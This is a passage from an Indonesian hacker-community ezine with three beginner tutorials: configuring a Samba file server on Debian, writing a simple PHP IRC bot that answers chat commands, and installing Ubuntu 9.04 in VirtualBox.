Ingat, writeable disini tidak asal-asalan bebas menulis tanpa memandang siapa yang mengedit. Write-
able akan aktif bila disesuaikan dengan hak user yang memang diijinkan untuk mengedit file tersebut.
Bila user lain tidak memiliki hak yang terdapat pada file tersebut, maka jangan harap bisa mengeditnya.

Berikut ini cara mensetting samba :

# apt-get install samba


# nano /etc/samba/smb.conf
Devilzc0de Ezine #1

Ini merupakan contoh file smb.conf

#====================Global Settings====================

[global]
workgroup = wahyu ----> nama workgroup yang muncul nantinya
server string = %h server
dns proxy = no
interfaces = 127.0.0.0/8 eth0 ---> eth0 merupakan LAN card,bisa diganti
menurut medianya
bind interfaces only = true
log file = /var/log/samba/log.%m
max log size = 1000
syslog = 0
panic action = /usr/share/samba/panic-action %d

###### Authentication #######

security = user ---> hanya untuk user yang terdaftar.


encrypt passwords = true
passdb backend = tdbsam
obey pam restrictions = yes
passwd program = /usr/bin/passwd %u
passwd chat = *EntersnewsUNIXspassword:* %nn *RetypesnewsUNIXspassword:* %nn *password-
supdatedssuccessfully* .
#====================ShareDefinitions===================

[master] ---> menentukan nama filesharing


path = /media/repo/ ---> path tempat folder dishare
guest ol = no ---> akses guest ditolak, untuk menghidupkan ganti dengan yes
browseable = yes ---> bisa dibrowsing
read-only = no ---> read-only memiliki opsi yes atau no
valid-users = wahyu, root ----> list user yang memiliki akses
writeable = yes ---> bisa ditulis.
create mask = 700 ----> hak membuat file
directory mask = 700 ----> hak membuat direktori

[music]
path = /media/
guest ol = yes
browsable = yes
read-only = no
writeable = yes
valid users = wahyu,root
Devilzc0de Ezine #1

[printers]
comment = All Printers
browseable = no
path = /var/spool/samba
printable = yes
public = no
writable = no
create mode = 0700
# Sharing Printer Windows clients look for this share name as a source of downloadable
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
browseable = yes
read only = yes
writable = yes
guest ok = no ----> guest dilarang masuk
write list = root, @ntadmin

# Sharing CD-ROM with others.


[cdrom]
comment = Samba server's CD-ROM
writable = no
locking = no
path = /cdrom
public = yes ----> public berarti bebas dipakai oleh siapa saja

Logikanya pembuatan sharing folder dapat dilihat pada bagian [master]. Yang perlu diperhatikan adalah
security= user / share, writeable= yes / no, browseable = yes / no, path dan valid users. Dan inti dari
setting samba kita kali in adalah menghilangkan tanda ( ; ) pada media yang akan kita sharingkan..

Nah setelah itu kita membuat sebuah user untuk tempat sharing data kita tadi.

# useradd wahyu
#smbpasswd wahyu
Ulangi password wahyu
# /etc/init.d samba restart

Selesai sudah kita membuat server standar pada linux debian4, semoga dapat di pahami, dan berman-
faat bagi orang banyak, Sekian dari saya terima kasih.

Nama : Wahyu Adi Prasetyo


ID : wahyu_devilzcode
Email : wahyu05111991@yahoo.com
Devilzc0de Ezine #1

Menulis Sebuah IRC Bot di PHP


Pertama, kita akan men-download Net_SmartIRC di sini. Ya, ini adalah “tarball,” TAR arsip atau file di
dalam gzip arsip. Jika anda tidak memiliki perangkat lunak untuk meng-extract file ini, Anda tidak perlu
khawatir! Kita bisa meng-extract langsung dan di upload ke Shellium. Jika Anda memiliki perangkat
lunak, bagus! lanjutkan dan extract file nya. Jika Anda masih perlu untuk mengambil file tersebut, cukup
menjalankan perintah ini: tar-zxf Net_SmartIRC-1.0.0.tgz

Kita tidak memerlukan file “package.sig” atau “package.xml,” jadi, hapus saja. Sekarang anda seharus-
nya sudah memiliki sebuah direktori bernama “Net_SmartIRC-1.0.0.” Cd ke dalam direktori ini. Anda
dapat menyimpan salah satu atau semua file-file ini, atau hanya perlu bare utama. Yang benar-benar
Anda perlukan untuk mendapatkan PHP IRC bot up dan running adalah:

* The directory “SmartIRC”


* The file “SmartIRC.php”

Ya, itu semua. Namun, saya akan rekomendasikan menjaga direktori “docs” dan “examples,” karena
mereka dapat membantu anda dengan hal-hal yang tidak ditawarkan tutorial ini.
Baiklah, mari kita mulai. Buat file teks kosong dengan ekstensi “php”. Ke dalam file ini, masukkan beri-
kut ini:
include_once('SmartIRC.php');
class mybot
{
function test(&$irc, &$data)
{
$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.': It works!');
}
function quit(&$irc, &$data)
{
if ($data->nick == "YourNickHere")
{
$irc->disconnect();
}
}
}
$bot = &new mybot();
$irc = &new Net_SmartIRC();
$irc->setDebug(SMARTIRC_DEBUG_ALL);
$irc->setUseSockets(TRUE);
$irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!test', $bot, 'test');
$irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!quit', $bot, 'quit');
$irc->connect('irc.server.net', 6667);
$irc->login('Net_SmartIRC', 'Net_SmartIRC Client '.SMARTIRC_VERSION.' (yourfilename.php)', 0,
'Net_SmartIRC');
$irc->join(array('#test'));
$irc->listen();
$irc->disconnect();
Devilzc0de Ezine #1

Silakan lanjutkan dan edit hal-hal dasar seperti channel Anda, dan nama server.
Sekarang, mari kita lihat apa yang sudah dilakukan script ini.
class mybot
{
function test(&$irc, &$data)
{
$irc->message(SMARTIRC_TYPE_CHANNEL, $data->channel, $data->nick.': It works!');
}
function quit(&$irc, &$data)
{
if ($data->nick == "YourNickHere")
{
$irc->disconnect();
}
}
}
Class ini adalah bot Anda. Semua tanggapan yang ditetapkan diprogram di sini. Kita dapat melihat
bahwa kita memiliki fungsi bernama “test” yang mengambil dua argumen. “Irc” dan “data.” Irc objek
adalah agar kita dapat berinteraksi dengan saluran di dalam IRC bot. Sedangkan data objek sebagian
besar berisi data pesan. Kita akan berbicara mengenai hal ini nanti. Sekarang, mari kita melihat
pernyataan di dalam fungsi ini pada Class ini. Kita memanggil salah satu fungsi di dalam IRC objek,
pesan. Kita mengirimkan pesan dengan jenis “SMARTIRC_TYPE_CHANNEL,” yang berarti kita men-
girimnya ke channel. Pesan target kita adalah $data->channel, yang diatur secara otomatis ke channel
asal. Pesan kita adalah $data->nick.’: It works!’, Yang sangat mudah dipahami jika anda tahu PHP
Anda. Kita juga menetapkan fungsi keluar yang disarankan, karena kita harus merestart bot setiap kali
kita menambahkan fungsi. Fungsi keluar hanya berfungsi jika “Anda” adalah satu-satunya pemberi
perintah, jadi silahkan edit/ubah baris ini.

$bot = &new mybot();


$irc = &new Net_SmartIRC();
$irc->setDebug(SMARTIRC_DEBUG_ALL);
$irc->setUseSockets(TRUE);
$irc->registerActionhandler(SMARTIRC_TYPE_CHANNEL, '^!test', $bot, 'test');
$irc->connect('irc.server.net', 6667);
$irc->login('Net_SmartIRC', 'Net_SmartIRC Client '.SMARTIRC_VERSION.' (yourfilename.php)', 0,
'Net_SmartIRC');

Wow, banyak hal baru di sini. Baiklah, pada baris pertama kita akan membuat sebuah contoh dari
mybot, disimpan dalam variabel $bot. Kita juga membuat contoh baru dari perpustakaan,
Net_SmartIRC, dan menyimpannya dalam $irc. Kita mengaktifkan semua pesan debug, meskipun anda
dapat mengubah ini ke SMARTIRC_DEBUG_NONE jika anda menginginkannya. Baris berikutnya tidak
penting, tapi diperlukan, jadi jangan menghapusnya.

Ok, sekarang kita di baris yang penting. Tindakan penanganan. Anda akan banyak menggunakan ini,
sebenarnya, IRC bot dibangun pada platform tindakan penanganan. Ini pada dasarnya memberitahu
$bot untuk memanggil fungsi tes apabila ada yang mengatakan sesuatu yang dimulai dengan !Tes di
channel IRC.
Devilzc0de Ezine #1

Kemudian kita melakukan koneksi ke server IRC, (Anda akan benar-benar ingin mengubah alamat di
sini!) Dan mengirim informasi kita, yang dapat Anda edit.
$irc->join(array('#test'));
$irc->listen();
$irc->disconnect();

Kita kemudian bergabung dengan array channel. (Anda dapat mengubah baris ini ke
$irc->join(array(‘#test’,'#test2′)); atau menambahkan channel sebanyak yang Anda inginkan, atau butuh-
kan. Kita kemudian memanggil $irc->listen(), yang secara sederhana merupakan sebuah respon tak
berbatas yg berulang ke ping server, memeriksa kegiatan penanganan, dan hal menyenangkan lainnya.
Jika listen() berhenti dengan alasan apapun, dapat dipastikan bahwa kita terputus dari IRC, dan … File
berakhir! Anda dapat menjalankan bot ini cukup dengan menjalankan “php yourfilename.php”, atau
mengunjungi php file dalam web browser.

Sekarang, mari kita menguji bot! Koneksikan ke server dan bergabung dengan channel yang ditetap-
kan. Ketik !Test. bot Anda seharusnya merespon. Ketik !quit. Bot Anda seharusnya keluar. Seharusnya
mudah untuk mengembangkan hal ini dan membuat bot Anda lebih baik!
Selamat Mencoba!
Devilzc0de Ezine #1

Install Ubuntu 9.04 dengan Virtual Box


VirtualBox adalah salah satu software Virtualisasi yang dapat digunakan untuk menjalankan sistem
operasi lain. Misalnya ane melakukan instalasi VirtualBox pada windows, ane bisa menggunakan Virtu-
alBox pada windows untuk menjalankan sistem ubuntu atau distro Linux lainnya. Fungsi ini sangat
penting jika kita ingin melakukan ujicoba dan simulasi instalasi maupun melakukan testing suatu sistem
tanpa harus kehilangan sistem yang ada. ane bisa mencoba Windows atau Ubuntu atau Fedora atau
Red Hat tanpa harus melakukan install ulang windows yang ane gunakan. Aplikasi dengan fungsi
sejenis lainnya adalah VMWare dan Microsoft Virtual Server.

Apa keuntungan VirtualBox dibandingkan dengan aplikasi sejenis. Yang utama adalah karena Virtual-
Box Free dan Open Source. VirtualBox tersedia dalam berbagai edisi namun skema lisensi yang dita-
warkan cukup ramah bagi pengguna, misalnya versi OSE (Open Source Edition) yang Free dan Open
Source dan versi binary yang free untuk penggunaan personal.

nyok mulai…. :
ane ndak sempet bahas cara nginstallnya, mudah2an udah pada tau ya, kali ini ane coba untuk men-
jelaskan cara settinga Vbox untuk isntall ubuntu, jumpgrin: :jumpgrin:

Download VirtualBox untuk windows dari http://www.virtualbox.org/wiki/Downloads


trus langsung aja install, sampe selesai, kalo nginstall kan mudah ya cuman next trooos ampe lampu
merah :respect: :respect: , kalo udah siapkan CD ubuntu 9.04 atau dalam format *.iso buka hasil
installer,l akan muncul tampilan gini
Devilzc0de Ezine #1

Langsung aja pilih tombol baru / new di bagian atasnya, kemudian langkah selanjutnya adalah menen-
tukan jenis OS yang akan kita pakai

kemudian kalo udah langsung aja tekan next, maka selanjutnya kita akan menentukan besar RAM
(memory )yang akan kita pakai untuk Vbox, perlu diingat bahwa memory ini

jangan gede ngasinya he…he…bisa2 ntar kompi kita jadi lemot, kalo bisa settingnya biarkan default
aja, kalo ga ya naikin dikit2 boleh lah
Devilzc0de Ezine #1

kemudian kita harus menentukan kapasitas hardisk untuk Os virtual kita, perhatikan juga kapasitas
hardisk kita, karena besar ukuran Hd Vbox tidak mutlak akan mengambil besar HD kita, Vbox akan
mengambil besar HD sesuai pemakaian aja.
Devilzc0de Ezine #1

setelah selesai maka system akan meberikan iformasi configurasi yang telah kita set sebelumnya,
Devilzc0de Ezine #1

tekan aja finis langsung, ndak usah plototin tu layar lagi, karena urusan kita dah selesai , trus selajut-
nya kita tinggal menentukan setingan komputer seperti layakanya komputer biasa, kalo langkah sebel-
umnya tadi istilahnya kita merakit komputer kita, tetapi secara virtual, nah sekarang kita setting kom-
puter virtual kita, seperti setingan sound, VGA, boot, Ethernet Card Dll, pokoke seperti setingn kom-
puter biasa lah, untuk melakukan itu langsung aja pilih menu setting di bagian atasnya
Devilzc0de Ezine #1

setelah tombol setting kita tekan maka Vbox akan menampilkan sederetan informasi komputer virtual
kita, seperti spesipikasi hardwere,

untuk settingan hardwere virtual ini sebenarnya tergantung pada kita aja mau di setingkaya bijimana,
tapi yang terpenting untuk pengistalan adalh pada bagian CD/DVD room karena kita harus mennetukan
booring pertama komputer virtual kita, seperti layaknya komputer nyata kan ??? , cuman bedanya kalo
komputer nyata kita nyetingnya di Bios
Devilzc0de Ezine #1

ah kalo udah tinggal pilih kita pake CD/DVD kepingan atao format iso, pada kasus ini ane make yang
CD/DVD kepingan ubuntu 9.04, maklum kalo iso HD ane bengkak

kalo udah langsung aja selesaikan tugas kita untuk urusan seting2an, dengan menekan tombol OK,
langsung aja tekan tombol start / mulai utnuk memulai pengistallan ubuntu 9.04 dengan komputer
virtual kita yang baru
Devilzc0de Ezine #1

Pilih bahasa dan tekan kemudian tekan ENTER, maka ente-emte semua aan di bawa menuju ke hala-
man berikutnya

Pilih “Install Ubuntu” kemudian enter


Devilzc0de Ezine #1

Installasi Ubuntu proses loading…


Kemudian pilih bahasa installasi, kemudian tekan Forward.

Pilih negara dan propinsi, dalam contoh ini memilih Eropa dan kota London, kemudian tekan Forward,
atau maju…
Devilzc0de Ezine #1

Pilih Keyboard biasanya kalo di Indonesia memakai US Internasional…, tapi dalam contoh memakai
Inggris UK, tekan Forward…

Kemudian akan terlihat ruangan dalam hardisk, pilih untuk membuat partisi baru jika belum ada, atau
jika dual boot…

Dalam contoh ini memakai VBOX dan menggunakan 8 GB ruang Hardisk…, Untuk Ubuntu ini memakai
minimal 6 GB agar lebih aman biasanya…

Juga pastikan membuat partisi untuk Swap minimal setengah Giga bytes
Devilzc0de Ezine #1

Selanjutnya isikan nama Username, dan apakah mau login otomatis atau tidak, pilih sesukanya…

Jika paswword ente kurang kuat atau mudah ditebak maka akan muncul tampilan seperti ini
Devilzc0de Ezine #1

Akan muncul list installasi, kemudian jika sudah yakin maka tekan Install…

Jika ente memilih instalasi andvance maka akan muncul tampilan seperti ini…
Devilzc0de Ezine #1

Gambar progres pemartisian…

Proses instalasi sedang berjalan.

Installasi selesai maka silahkan di restart


Devilzc0de Ezine #1

Inilah tampilan setelah booting di Ubuntu 9.04 Jaunty Jackalope…

Desktop Ubuntu 9.04 Jaunty Jackalope ente sudah siap, kemudian silahkan dicoba, jika mau menam-
bahkan MP3 dan lainnya maka silahkan untuk mendownload codexnya, karena memang terpisah dan
masuk kategori non free, dalam artian tidak disajikan bersama dalam paket installasi.

By : wenkhairu
wenkhairu@gayo-cool.net

Thanks to All member of


http://www.jasakom.com
http://www.whitecyber.net
http://www.devilzc0de.org
Devilzc0de Ezine #1

Penutup
“Saat ini segalanya yang dihasilkan para penulis benar-benar luar biasa, mereka memberikan kepada
kita segalanya. Dan mereka juga melakukannya dari hati dan dengan keikhlasan, Anda dapat melihat
dan merasakan bagaimana mereka begitu bergembira dengan semua yang dilakukan dan sumbangkan
untuk terbitnya E-Zine. Ini bukan hanya sebuah bahan bacaan biasa, ini adalah bagian dari jiwa
mereka, bagian dari yang mereka berikan kepada kita, sebagai sumber pengetahuan, dan amal...”

Akhir kata kami segenap Staff Pengurus Devilzc0de mengucapkan banyak terima kasih yang sebesar
besarnya kepada pihak pihak yang mendukung dan membantu terlaksananya hingga terbitnya E-Zine
ini...

Semoga semangat kita semua untuk bersatu dan membangun bisa terjalin dengan baik...

Salam...

Anda mungkin juga menyukai